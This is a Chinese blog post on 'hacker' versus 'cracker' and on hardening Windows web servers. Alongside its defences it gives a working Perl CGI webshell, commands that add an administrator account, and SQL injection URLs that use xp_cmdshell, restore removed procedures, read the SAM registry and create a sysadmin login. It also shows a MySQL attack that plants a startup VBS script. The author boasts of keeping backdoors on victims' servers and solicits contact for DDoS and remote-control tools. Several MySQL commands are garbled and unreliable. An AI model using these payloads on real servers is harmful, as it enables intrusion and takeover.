请问趙宇:啥叫Internet黑客?

2018-03-13 23:13:50 织梦安装使用
  • 文章介绍

本人文笔不行,随心简写一下自己的认知,大家凑合阅读,望见谅!


什么是Internet(互联网)黑客?

黑客起源于ARPAnet与UNIX时代,黑客通常指协助国家处理Internet各种难题的技术人员,对计算机系统底层了如指掌。(最初黑客是对技术人员赞美词语,后期由于大家分不清楚黑客和骇客来源,误认为黑客是搞电脑破坏的人群,其实真正破坏网络环境的鄙称为骇客!)


什么是Internet(互联网)骇客?

骇客其实和黑客技术水平不分上下,区别在于一个干好事,一个干坏事。骇客可以用高技术手段非法进入别人的计算机系统获取信息或破坏计算机系统。因为他们是利用网络进行破坏的,我们无法看到他们真面目,他们神出鬼没,给网络带来巨大危害。近年来“骇客”入侵事件频繁发生。骇客侵入美国五角大楼电脑系统的次数每年平均达16万次以上。另外,骇客还入侵银行等财务账户。破译密码、划走巨额资金。

"趙宇"简单给大家讲解一下Internet(互联网)骇客技能与风险预防:

首先我本人是一个Internet爱好者,12岁开始接触Internet,同龄人中我应该算第一代网民。我认为成为一名骇客和天赋有直接关系,骇客成长历程没有教科书,也不允许官方授课。成为一名优秀骇客非常辛苦,每天都要留意微软更新了哪些补丁,只要一天不关注微软、功课就拉一大截,所以骇客一般有团队,或者自己勤劳奋斗,具本人了解骇客们都是非常勤奋,因为有兴趣加天赋。成为骇客可以干什么?我单单靠一篇文章说不完,我简要给大家讲一点通俗易懂大白话,你在家只要打开电脑联网状态下,你的摄像头被自动录制你是完全不知情的、你的键盘输入过的记录骇客电脑显示一清二楚、骇客可以把你电脑从使用开始到目前回收站所有删除过的数据都进行恢复并拷贝、电脑盘内的东西骇客随便拷贝、你的电脑所有权限他都可以操作,除非你断网情况下骇客无法进入你的电脑系统,讲到这里是不是有人又要问电脑开着360杀毒,骇客怎么做到的!我简单举例360杀毒是黑客,进你电脑的是骇客,懂了吧?360杀毒只是一个有营业执照不干违法操作的正规公司,如果当你懂了什么是木马(病毒),你就会明白电脑安装的杀毒软件是最大的病毒,因为它只要想干坏事拥有ROOT权限,随时想干嘛就干嘛。骇客进入你电脑直接可以封杀360杀毒软件,安装一个一模一样的360自制杀毒空壳子钓鱼软件给你启动,你用肉眼看不出软件被替换,而真360杀毒已经无法运行,除非重新装系统处理。一个优秀的骇客靠杀毒软件是阻挡不住的,病毒永远都防止不了,所以才有了杀毒软件。另外你电脑还会成为骇客的肉鸡,说白了就是用你电脑宽带在你不知情情况下向另外一台电脑发起攻击,导致另外一台电脑网络瘫痪断网,骇客攻击一般用于商业竞争,当然用你一台电脑肉鸡是打不掉一台服务器的,骇客拥有养鸡工具(远控软件),把你们多台电脑肉鸡连接起来使用DDOS攻击软件向指定的服务器IP地址发送洪水攻击,具体攻击的效果要看DDOS软件代码写的怎么样,一般骇客的养鸡场平均每天有1-2万只肉鸡,DDOS软件使用5台电脑肉鸡的情况下攻击一台您正在浏览的地方政府网站是瞬间瘫痪。简单介绍了一下骇客的危害与实际操作,提醒大家没事不要浏览不正规网站。想了解更多DDOS和远控软件的朋友请加作者QQ:136533196

接下来给大家分享一段入侵防范实例。

前言:在各种网络上的服务器上,只要骇客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让骇客成功入侵的,只要我们给服务器上各种危险的组件及命令都加上一定的权限设置,那么就会得到最大的安全。下面我们来介绍一下NT系统下权限与骇客的较量,当然NT服务器不能是FAT32分区的,你的NT服务器必须采用NTFS分区,因为只有NTFS才能给你的服务器重要文件设置权限,如果是FAT32分区的,那就没有安全性可言了,以下介绍一些入侵防范实例大家就会知道设置权限的重要性了。


随着网络的高速发展,现在朋友们都装上了宽带网,做虚拟主机生意的提供商生意当然也越来越好了,做网站的朋友也比往年多了起来,但是现在的骇客们却喜欢上了在虚拟主机提供商的空间里放上一个webshell,以取得服务器的管理权,这是让服务器的管理员最头痛的事。骇客们通过各种 webshell 可以在服务器里运行CMD命令,还可以复制、删除文件,在线编辑文件,建立超级用户等。Webshell(也叫网页木马)在这里分很多种,如ASP、CGI、PHP、JSP的webshell都有,现在还流行 SQL 注入的xp_cmdshell等,都属于webshell中的其中一种,现在我们首先介绍的是骇客们称作为网页木马的各种webshell的攻击与防范方法。同时用这最简单的安全设置方法还能防范网络上的大部份溢出攻击等,如著名的 IDQ、IDA、WEBDAV 及RPC溢出,都能让骇客取得你服务器的管理权,但是你通过这小小的安全配置,骇客们的溢出攻击你就不用再怕了。就算不打补丁也是安全的,相信吗?不信?请看下文!

攻击与防范方法其实都是非常的简单,所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的,在我看来没有太大的技术性可言,难度等级(初级)就是人人都可以学会的啦,但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手,这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。

一、基本ASP的WEBSHELL攻击与防范

以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码):

例一、种使用脚本绑定CMD命令:

这是一种使用脚本绑定CMD命令的攻击方法,其实asp的webshell并不止这一种,后面还会有介绍另外两种的 webshell攻击与防范方法。只要骇客在你的服务器上放上了这种 webshell ,你又没有适当的防范方法,那么你的服务器就会惨遭毒手,成了骇客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器,也有属于个人或公司的服务器,骇客是怎么样把这个 webshell传到你的服务器的呢?如果是传到虚拟主机提供商的WEB空间的,一般都是虚拟主机提供商的客户自己传的^_^,因为虚拟上机提供商的客户本身就拥有上传软件的权限,并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器,骇客怎么把这个 webshell传到服务器空间上的呢?呵呵,一般是通过服务器上某个如论坛、下载系统的脚本漏洞,通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的,由于我们这里只讲解这些 webshell是怎么样攻击的,所以并不提及到怎么样才能把这个 webshell传到服务器的空间上,本文假设你已经把这个 webshell传到了服务器空间上,你并取得了 http 的浏览地址,只要服务器是支持 asp 的,你就能使用这个 webshell取得服务器系统的管理权了,这种后门非常隐蔽,就算你重装了N次系统,打了N的的补丁也没效,因为这个漏洞是没有补丁的^_^,只要这个 webshell 还存在,骇客找到这个 webshell的WWW浏览地址,你的服务器一样会变成骇客的肉鸡,所以危害性极大。


如下图所示,我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上,把这个文件放到了FTP根目录里的webshell文件夹下,我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了,我们可以在那个空白的表单里输入所有的CMD命令,如dir c: 等命令,如果你想在这台服务器里建立一个超用户,可以输入两行命令,第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮,就建立了一个普通用户netpk ,再输入第二行命令, net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了,通过这些,我们可以确定这个webshell 有执行所有的CMD命令权限,你想干什么,不用我教你了吧,呵呵^_^。


你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种,其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:


Regsvr32 /u c:winntsystem32scrrun.dll


注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,


但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:


我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.


方法如下:

查找注册表中


HKEY_CLASSES_ROOTScripting.FileSystemObject 键值


将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为


HKEY_CLASSES_ROOTScripting.FileSystemObject2


这样,在ASP就必须这样引用这个对象了:


Set fso = CreateObject("Scripting.FileSystemObjectnetpk")


而不能使用:


Set fso = CreateObject("Scripting.FileSystemObject")


如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。


呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!


但这样做还是有一定的危害性的,因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本,要知道WEBSHELL并不是只有ASP的一种,如CGI、PHP、JSP等都存在这样的WEBSHELL,如果你的服务器同时配置了支持CGI、PHP、JSP等,那可就惨了,因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看,以下还有一些值得大家注意的WEBSHELL。


其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell,配置防范方法只须要30秒就行了,防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说,因为只要一种防范方法,就能防止这些脚本攻击及溢出攻击等,在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。

例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法


以下我们介绍的是海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要骇客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在骇客的手上,骇客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各骇客网站均有下载,源代码就不便写出来了。


防范方法:和例一的一样,这里不再重述。


后语:那是不是对于ASP的WEBSHELL就是关了FSO对像或给FSO在注册表里改名就行了呢?事实并不是这样的,因为ASP木马中还有一种是不需要FSO对像支持的,功能虽然并不是很强大,但是要黑一个网站的站,功能已经是很足够的了,这种木马令人防不胜防。以下请看例三。

例三:免FSO对像就能使用的ASP木马


对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。值得注意的是现在的虚拟主机提供商的虚拟主机大多数都还存在这个漏洞,看来这个漏洞那些服务器网管们是非得好好维护一下才行了。以下是当你浏览这个ASP木马时,所出现的图例。就连骇客基地的服务器也存在相同的漏洞。


你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的骇客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。


你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。


防范免FSO支持的ASP木马方法如下:


通过上面的代码,我们可以看出这段代码的SHELL是通过shell.application 建立 shell 对像的,我们只要在注册表里查找键值shell.application和 wscript.shell 键值,然后把这些键值删除,就能防止这一类的ASP木马攻击了,删除这些键值对你的服务器及ASP支持等不会造成影响的,所以请放心删除。

二、构建免受 FSO 威胁虚拟主机


现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。


如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。


在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。


下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。


如下图所示,打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:


在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”,即:所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”:


现在新建立的用户已经出现在帐号列表中了,在列表中双击该帐号,以便进一步进行设置:


在弹出的“IUSR_VHOST1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:


刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:


现在出现的是如下图所示,此时再点“添加”:


在弹出的“选择 组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:


出现的就是如下图所示的内容,点“确定”关闭此对话框:


打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”:


弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“F:VHOST1”这个文件夹:


暂时先不管刚才的“第一虚拟主机 属性”对话框,切换到“资源管理器”,找到“F:VHOST1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:


此时会弹出如下图所示的“安全”警告,点“删除”:


此时安全选项卡中的所有组和用户都将被清空(如果没有清空,请使用“删除”将其清空),然后点“添加”按钮。


将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来,将给予完全控制的权限,还可以根据实际需要添加其他组或用户,但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去!


再切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”:


在弹出的“验证方法”对方框(如下图所示),点“编辑”:


弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”:


在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”,双击:


此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码:


再确定一遍密码:


OK,完成了,点确定关闭这些对话框。


经此设置后,“第一虚拟主机”的用户,使用 ASP 的 FileSystemObject 组件也只能访问自己的目录:F:VHOST1 下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。


另:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。


三、基于CGI、PHP、JSP的WEBSHELL及溢出攻击与防范


CGI、PHP、JSP脚本也能绑定CMD命令,但基本CGI的WEBSHELL功能权限与防范方法是不是都是一样的呢?答案是他们的WEBSHELL权限几本相同,大同小异,但防范的骇客使用脚本给你绑定CMD命令的方法却是完全不同的,因为别的语言脚本中要绑定CMD命令根本不需要FSO等对像的支持,所以就算你关了FSO对像,再在注册表里删除上面ASP的WEBSHELL中例三中的shell.application和 wscript.shell 键值,也不能防范这些脚本的WEBSHELL。


由于ASP、CGI、PHP、JSP通过脚本绑定CMD命令的方法都是大同小异的了,都能用一种很简单的方法就能完全防范这类的攻击,在此例中,我会把一种30秒内就能完成安全配置,让任何的脚本程序都没法通过远程调用你的CMD命令,以达到完全防范脚本绑定CMD的目的。

WEBSHELL的攻击方法我们在这里就作一个最后举例。


下面举例:CGI的WEBSHELL攻击与防范


如下图所示,只要骇客把一个CMD.CGI的WEBSHELL传到你的服务器,那么骇客就能在你的服务器里调用CMD命令,并能运行你服务器里的所有CMD命令,如建立超级用户等,下图是使用这个CMD.CGI的WEBSHELL运行DIR C:命令。如果骇客在你的服务器上传了这个东东,呵呵,你可是欲哭没泪了。


即使你重装了N次服务器的系统,打了N多的补丁,没用,只要你没删除这个WEBSHELL,骇客知道这个WEBSHELL的WWW的浏览地址,随时能把你的机器当肉鸡使用。我以前入侵的肉鸡就是在对方的虚拟主机目录下留下了这个东东,我把他叫不死后门吧,只要对方管理员不删除这个WEBSHELL,那么他的服务器永远是我的肉鸡,因为这个东东杀毒软件查不出来的哈。


下面给出这个CMD.CGI的代码(网络上也有很多骇客站提供下载的):


use CGI qw(:standard);


print header(-charset=>gb2312);


$cmd=param("cmd");


$out=`$cmd 2>&1`;


print start_form,textfield("cmd",$cmd,60);


print end_form;


print pre($out);


上面就是这个WEBSHELL的代码,还有一些PHP和JSP等的WEBSHELL,这里就不再作介绍了,因为攻击与防范的方法大同小异,通过上面这些例子,我们看出这几个 webshell 都是调用了NT系统下的 cmd.exe 命令来执行命令的,只要我们对NT系统下的 cmd.exe 文件设置一定的权限,呵呵,那么骇客的这些WEBSHELL都将没用武之地了。为了安全起见,我们还要对如 net.exe cacls.exe telnet.exe tftp.exe tftp.exe format.com mountvol.exe mshta.exe等危险的命令作出权限设置。因为这些危险的文件默认的情况下都是允许来宾以上权限的用户访问及执行的,只有为这些文件设置了权限,这样才能确保真正的安全。这些危险的文件默认的情况下,都是存放在 C:WINNTSYSTEM32 的目录下的。设置权限的方法如下图所示,清除原来的所有其它用户访问这些命令的权限,然后只设置允许你正在使用的超级用户拥有使用这些命令的权限,比如说你正在使用的超级用户名是 administrator 那么,你就在权限设置里只允许用户名为 administrator 的用户使用这些命令。


通过上面这些简单的设置,就能让那些绑定你服务器里的CMD命令的WEBSHELL全部失效,够简单吧。:)而且还能防止你的服务器在遭到骇客的溢出攻击成功后绑定CMD命令登陆你的服务器,道理很简单,比如目前流先的WEBDAV溢出,这些溢出攻击就是骇客通过溢出你的服务器后绑定你服务器里的CMD命令,然后TELNET登陆你的服务器,取得你服务器上的系统管理权的,但一般骇客溢出成功后,都是只能拥用SYSTEM权限绑定你服务器的CMD命令的,而你已经把CMD命令设置了禁止SYSTEM权限访问,只能使用你设置的唯一一个你正在使用的超级用户名去访问CMD命令。所以就算骇客成功溢出后,都不能绑定你的CMD命令,那么骇客就登陆不了你的服务器,你的服务器就是安全的了。


但这只能是相对的安全,因为有些溢出攻击骇客能直接把反向连接的木马文件传到你的服务器上,并能运行哦。呵呵,如最近出现的Serv-U溢出,如果你的FTP服务器使用了Serv-U的话,你又没有打上最新的安全补丁,让骇客溢出成功了,那么骇客可以不绑定你的CMD命令登陆你的服务器,而是给你服务器传一个反向连接的木马后门,这种反向连接的后门是通过你的服务器向骇客的机器连接,而骇客只要在自己的机器监听,只要你的服务器中了这种后门,那么就算你的服务器安装了防火墙,并屏蔽了所有不使用的端口,骇客不能正向与你的服务器联接木马后门,但骇客给你传一个反向连接的木马,这个木马是通过你的服务器连接骇客的机器的,只要你的服务器向骇客的机器发出连接请求,骇客就能取得你服务器的控制权,而这种反向木马攻击可以完全不依赖于NT系统下的CMD。可以反向连接木马的危害性。


那么我们如果防止这一类的反向木马攻击呢?方法很简单,那就是安装一个具有防止反向连接木马的防火墙,如天网及BlackICE防火墙等。都是具有防止反向连接功能的,因为这些防火墙都有应用程序访问网络权限设置功能。服务器上的任何一个程序要访问网络,都会弹出一个警告窗口,必须要服务器的管理员同意允许该应用程序访问网络后,这些程序才能访问网络,这项功能正好用于防范反向木马。下面举一个例子,如你的服务器安装了天网防火墙,如骇客成功溢出了你的Serv-U服务器,并给你传了一个反向连接的后门木马,这个后门木马在你的服务器的 C:MM.EXE ,骇客所在IP地址是 192.168.0.18 ,现在骇客要对你服务器的这个反向连接木马进行连接,只要骇客在你服务器上运行了这个反向木马,那么你的天网防火墙就会弹出一个警告窗口,如下图所示:


我们可以通过这个警告窗口看到骇客的真正IP地址及骇客使用这个反向木马连接的端口,所使用的协议,还有这个反向连接木马在你服务器的所在位置等信息,只要你点击禁止按钮,这个程序将不能连接骇客的机器,我相信你不会那么笨,点击允许这个后门连接骇客的机器吧,在你没有点击允许的情况下,这个后门是不会连接骇客的机器成功的。:)


通过这个例子,我们可以看出,只要我们给一些危险的命令如CMD等设置了权限,再安装一个可以防止反向连接木马的防火墙,那么那些所谓的溢出攻击将不能对你的服务器造成造害了。

四、MSSQL注入攻击的防护


Mssql注入攻击是比较直接和危害比较大的一种攻击方式,那些所谓的骇客们能够利用它直接取得系统权限。今天我们就来看看如何通过系统设置防止这种攻击:


首先要申明的是,并不是通过这个设置就能保证你的服务器的安全,安全是一个整体,然而整体又正是由这些部分构成的!


对策一:


伪骇客:


假设这个地方可以注入


http://localhost/bbs/news.asp?id=5


我们往往采取下面这种方法来攻击


http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net user zhaoyu /add’---


http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net loclagroup administrators zhaoyu /add’---


好了,zhaoyu已经是系统管理员了!


管理者:


如何防止呢?


看看他们是怎么实现的,通过调用SQL里的master里的扩展存储过程里的xp_cmdshell,来执行系统指令!


我们只要点右键删除这个扩展存储,上面的攻击方法便不起作用了!


当然你也可以用下面这句:


sp_dropextendedproc xp_cmdshell


来删除xp_cmdshell


对策二:


骇客对策,如果MSSQL数据库里xp_cmdshell扩展被删掉了,不用怕,我们还有方法的哟!


http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;--


通过这样一条我们就又把xp_cmdshell给恢复了。


管理者:靠,看来我们的设置还不够彻底哟


好,在c盘里直接搜索xplog70.dll


如图


找到了,删了它,好了,这个世界清静了,至少那帮人不会直接执行系统指令了!!


对策三:


伪骇客:你以为这样就可以了吗?你错了哟,呵呵,我方法还是多多的哟!


只要你用的是sa账户,我就还有方法的哟


http://localhost/bbs/news.asp?id=5;exec xp_regread HKEY_LOCAL_MACHINE, SECURITYSAMDomainsAccount, F


看看,说不定我们就能得到管理员的密码哟!


加一个启动项什么的自然不在话下。


管理者:


看来我得下狠的了,看我这样,我把这些扩展都删除了


Xp_regaddmultistring (向注册表中增加项目)


Xp_regdeletekey (从注册表中删除一个键)


Xp_regdeletevalue (从注册表中删除一个键值)


Xp_regenumvalues (列举主键下的键值)


Xp_regread (读去一个主键下的键值)


Xp_regremovemultistring (从注册表中删除项目)


Xp_regwrite (向注册表中写入数据)


看你嚣张,呵呵,想从注册表里面搞,没门!


对策四:


伪骇客:


不让搞注册表就算了,我可以搞别的地方的哟!我加一个sql的管理员还不行吗?


真是的!


http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addlogin azhaoyu;--


http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_password null,zhaoyu,alpha;--


http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addsrvrolemember sysadmin zhaoyu;--


看看,说不定那天等xp_cmdshell能用了,我就又是管理员了呢!


管理者:


算了,我不跟你罗嗦了,我不用sa连接数据库还不行?


我建一个权限低一点的账户,比如说建立一个名为 bbs的数据库


然后建一个 名为bbs的账户


确定然后我们再去bbs的用户下中设置一下:


给他分配一些基本的权限就可以了,


好了,如果用这个用户来连接bbs数据库,相对于用sa来说安全多了哟!


还有其他的很多很多的


比如:


删除多余的系统存储过程


sp_bindsession sp_cursor sp_cursorclos sp_cursorfetch sp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_replcmds sp_replcounters sp_repldone sp_replflush sp_replstatus sp_repltrans sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive


定期检查用户登录情况


Use master


Select name,Password,Accdate


from syslogins


order by name


今天就说到这里了!


其实MSSQL的注入攻击防御还有很多很多东西哟!


比如导出特殊文件,破解网站密码,太多太多了,今天就简单给大家介绍这些


甚至我要说,即使你按这个设置了,你的系统还是危险的,还是脆弱的!


要想得到更安全的配置请继续趙宇工作室!

五、简单的MYSQL数据库入侵防御问题


在网络上,很多系统(win2k、linux)都安装了MYSQL数据库。的确,这个数据库非常受大家欢迎,但这么受欢迎的数据库安装完毕有个漏洞—就是数据库的ROOT的帐号密码为空,现在网络上很多机器都有这类毛病。


我曾经扫描了一个C类地址,竟发现数据库Root密码为空的机器多达89台,因为MYSQL不象MSSQL数据库那样可以调用XP-Shell命令,所以很多人找到这样的漏洞也不会利用。下面我就介绍一下,如何利用Win2k下Root密码为空的数据库:


如果你机器上安装了MYSQL,就可用如下命令:#mysql -u root -h 192.168.0.1 连接成功后,看看服务器有什么数据库:mysql>show databases MYSQL默认安装时会有MYSQL、TEST这两个数据库。 mysql>use test 进入test后,看看里面有什么数据:mysql>shows tables 那里什么也没有,那么我就在里面建立一个新表:mysql>create table lonely (abc text) 这里我创建了一个表名为lonely、字段为abc的表格。


我们再写一个增加Admin、密码为123的用户的命令。如下:


mysql>insert into avalues ("setwshell=createobject ("" W S cript.shell"" )");


mysql>insert into avalues ("a=wshshell.run (""cmd.exe /c net Admin 123/add"",0)");


mysql>insert into avalues ("b=wsgsgell.run(""cmd.exe /c net localgroup Administrators admin/add"",0);看看有没有输入错的地方: mysql>select*forma 输出表为一个VCS的脚本文件:mysql>select *from ainto autfile "c:docume~1alluse~1[开始] 菜单程序ceshi.vbs";


我们把表中的内容输入到启动组中,是一个VBS的脚本文件!注意“”符号。现在所有工作都完成了,下面就是等机器重起,机器重起后,ceshi.vbs也会跟着启动,到时候他机器里就有用户为Admin、密码为:123的超级用户了。


防御方法:


对于这种攻击方法的防御最简单、安全的方法就是给MYSQL的Root用户增加口令。方法如下:


本地设置密码:mysql uroot password 密码


远程设置密码:grant select,update,delete on *..*to root@” identified by “密码”如下:


mysql>grant select,update,delete on *..*to root@” identified by"123">c


mysql>grant select,update,delete on *..*to root@” identified by"123"query ok,0rous affected<0 34 see>

投诉

上一篇:最完整的php.ini中文注释

下一篇:合肥共享链小程序源码

专业的织梦模板定制下载站,在线购买后即可下载!

商业源码

跟版网模板,累计帮助5000+客户企业成功建站,为草根创业提供助力!

立刻开启你的建站之旅

QQ在线客服

服务热线

织梦建站咨询